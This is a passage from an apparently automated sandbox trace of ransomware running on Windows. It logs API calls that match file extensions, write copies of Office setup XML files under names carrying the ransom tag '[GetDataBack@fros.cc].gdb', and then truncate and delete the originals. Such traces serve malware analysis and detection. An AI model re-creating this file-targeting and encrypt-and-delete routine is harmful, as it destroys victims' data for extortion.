(lpString=".ppt") returned 4 [0118.385] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.385] lstrlenW (lpString=".zip") returned 4 [0118.385] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.386] lstrlenW (lpString=".rar") returned 4 [0118.386] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString=".bz2") returned 4 [0118.386] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString=".7z") returned 3 [0118.386] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.386] lstrlenW (lpString=".dbf") returned 4 [0118.386] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.386] lstrlenW (lpString=".1cd") returned 4 [0118.386] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.386] lstrlenW (lpString=".jpg") returned 4 [0118.386] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.386] lstrlenW (lpString=".doc") returned 4 [0118.386] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString=".docx") returned 5 [0118.386] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0118.386] lstrlenW (lpString=".pdf") returned 4 [0118.386] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString=".xls") returned 4 [0118.386] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString=".xlsx") returned 5 [0118.386] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0118.386] lstrlenW (lpString=".ppt") returned 4 [0118.386] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.386] lstrlenW (lpString=".zip") returned 4 [0118.387] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.387] lstrlenW (lpString=".rar") returned 4 [0118.387] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.387] lstrlenW (lpString=".bz2") returned 4 [0118.387] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.387] lstrlenW (lpString=".7z") returned 3 [0118.387] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.387] lstrlenW (lpString=".dbf") returned 4 [0118.387] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.387] lstrlenW (lpString=".1cd") returned 4 [0118.387] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0118.387] lstrlenW (lpString=".jpg") returned 4 [0118.387] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.387] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0118.387] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0118.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.388] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1231) returned 1 [0118.388] CloseHandle (hObject=0x1ec) returned 1 [0118.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0118.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.388] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.388] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0118.390] GetLastError () returned 0x0 [0118.390] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x4cf, lpOverlapped=0x0) returned 1 [0118.391] WriteFile (in: hFile=0x1f0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x4d0, lpOverlapped=0x0) returned 1 [0118.392] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0118.393] WriteFile (in: hFile=0x1f0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xf2, lpOverlapped=0x0) returned 1 [0118.393] SetEndOfFile (hFile=0x1f0) returned 1 [0118.393] CloseHandle (hObject=0x1f0) returned 1 [0118.393] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.393] SetEndOfFile (hFile=0x1ec) returned 1 [0118.394] CloseHandle (hObject=0x1ec) returned 1 [0118.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0118.395] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0118.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.396] lstrlenW (lpString=".doc") returned 4 [0118.396] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString=".docx") returned 5 [0118.396] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0118.396] lstrlenW (lpString=".pdf") returned 4 [0118.396] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString=".xls") returned 4 [0118.396] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString=".xlsx") returned 5 [0118.396] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0118.396] lstrlenW (lpString=".ppt") returned 4 [0118.396] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.396] lstrlenW (lpString=".zip") returned 4 [0118.396] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.396] lstrlenW (lpString=".rar") returned 4 [0118.396] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString=".bz2") returned 4 [0118.396] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString=".7z") returned 3 [0118.396] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.396] lstrlenW (lpString=".dbf") returned 4 [0118.396] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.396] lstrlenW (lpString=".1cd") returned 4 [0118.396] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.397] lstrlenW (lpString=".jpg") returned 4 [0118.397] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.397] lstrlenW (lpString=".doc") returned 4 [0118.397] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString=".docx") returned 5 [0118.397] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0118.397] lstrlenW (lpString=".pdf") returned 4 [0118.397] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString=".xls") returned 4 [0118.397] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString=".xlsx") returned 5 [0118.397] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0118.397] lstrlenW (lpString=".ppt") returned 4 [0118.397] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.397] lstrlenW (lpString=".zip") returned 4 [0118.397] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.397] lstrlenW (lpString=".rar") returned 4 [0118.397] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString=".bz2") returned 4 [0118.397] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString=".7z") returned 3 [0118.397] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.397] lstrlenW (lpString=".dbf") returned 4 [0118.397] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.397] lstrlenW (lpString=".1cd") returned 4 [0118.397] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0118.398] lstrlenW (lpString=".jpg") returned 4 [0118.398] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.398] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0118.398] lstrlenW (lpString="SETUP.XML") returned 9 [0118.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.398] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1852) returned 1 [0118.398] CloseHandle (hObject=0x1ec) returned 1 [0118.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0118.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0118.399] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.399] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0118.399] GetLastError () returned 0x0 [0118.399] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x73c, lpOverlapped=0x0) returned 1 [0118.401] WriteFile (in: hFile=0x1f0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x740, lpOverlapped=0x0) returned 1 [0118.402] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0118.402] WriteFile (in: hFile=0x1f0, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0118.402] SetEndOfFile (hFile=0x1f0) returned 1 [0118.402] CloseHandle (hObject=0x1f0) returned 1 [0118.403] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.403] SetEndOfFile (hFile=0x1ec) returned 1 [0118.404] CloseHandle (hObject=0x1ec) returned 1 [0118.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0118.404] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0118.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.404] lstrlenW (lpString=".doc") returned 4 [0118.404] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.404] lstrlenW (lpString=".docx") returned 5 [0118.404] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0118.404] lstrlenW (lpString=".pdf") returned 4 [0118.405] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString=".xls") returned 4 [0118.405] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString=".xlsx") returned 5 [0118.405] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0118.405] lstrlenW (lpString=".ppt") returned 4 [0118.405] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.405] lstrlenW (lpString=".zip") returned 4 [0118.405] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.405] lstrlenW (lpString=".rar") returned 4 [0118.405] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString=".bz2") returned 4 [0118.405] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString=".7z") returned 3 [0118.405] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.405] lstrlenW (lpString=".dbf") returned 4 [0118.405] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.405] lstrlenW (lpString=".1cd") returned 4 [0118.405] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.405] lstrlenW (lpString=".jpg") returned 4 [0118.405] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.405] lstrlenW (lpString=".doc") returned 4 [0118.405] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0118.405] lstrlenW (lpString=".docx") returned 5 [0118.405] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0118.406] lstrlenW (lpString=".pdf") returned 4 [0118.406] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString=".xls") returned 4 [0118.406] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString=".xlsx") returned 5 [0118.406] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0118.406] lstrlenW (lpString=".ppt") returned 4 [0118.406] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.406] lstrlenW (lpString=".zip") returned 4 [0118.406] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0118.406] lstrlenW (lpString=".rar") returned 4 [0118.406] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString=".bz2") returned 4 [0118.406] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString=".7z") returned 3 [0118.406] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0118.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.406] lstrlenW (lpString=".dbf") returned 4 [0118.406] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.406] lstrlenW (lpString=".1cd") returned 4 [0118.406] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0118.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0118.406] lstrlenW (lpString=".jpg") returned 4 [0118.406] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0118.406] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0118.407] lstrlenW (lpString="BRANDING.XML") returned 12 [0118.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0118.820] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=596341) returned 1 [0118.820] CloseHandle (hObject=0x1a8) returned 1 [0118.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0118.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0118.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0118.820] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.820] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0118.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0120.450] GetLastError () returned 0x0 [0120.450] ReadFile (in: hFile=0x1a8, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x91975, lpOverlapped=0x0) returned 1 [0120.719] WriteFile (in: hFile=0x1d4, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x91980, lpOverlapped=0x0) returned 1 [0120.729] ReadFile (in: hFile=0x1a8, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0120.729] WriteFile (in: hFile=0x1d4, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0120.729] SetEndOfFile (hFile=0x1d4) returned 1 [0120.921] CloseHandle (hObject=0x1d4) returned 1 [0121.067] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | 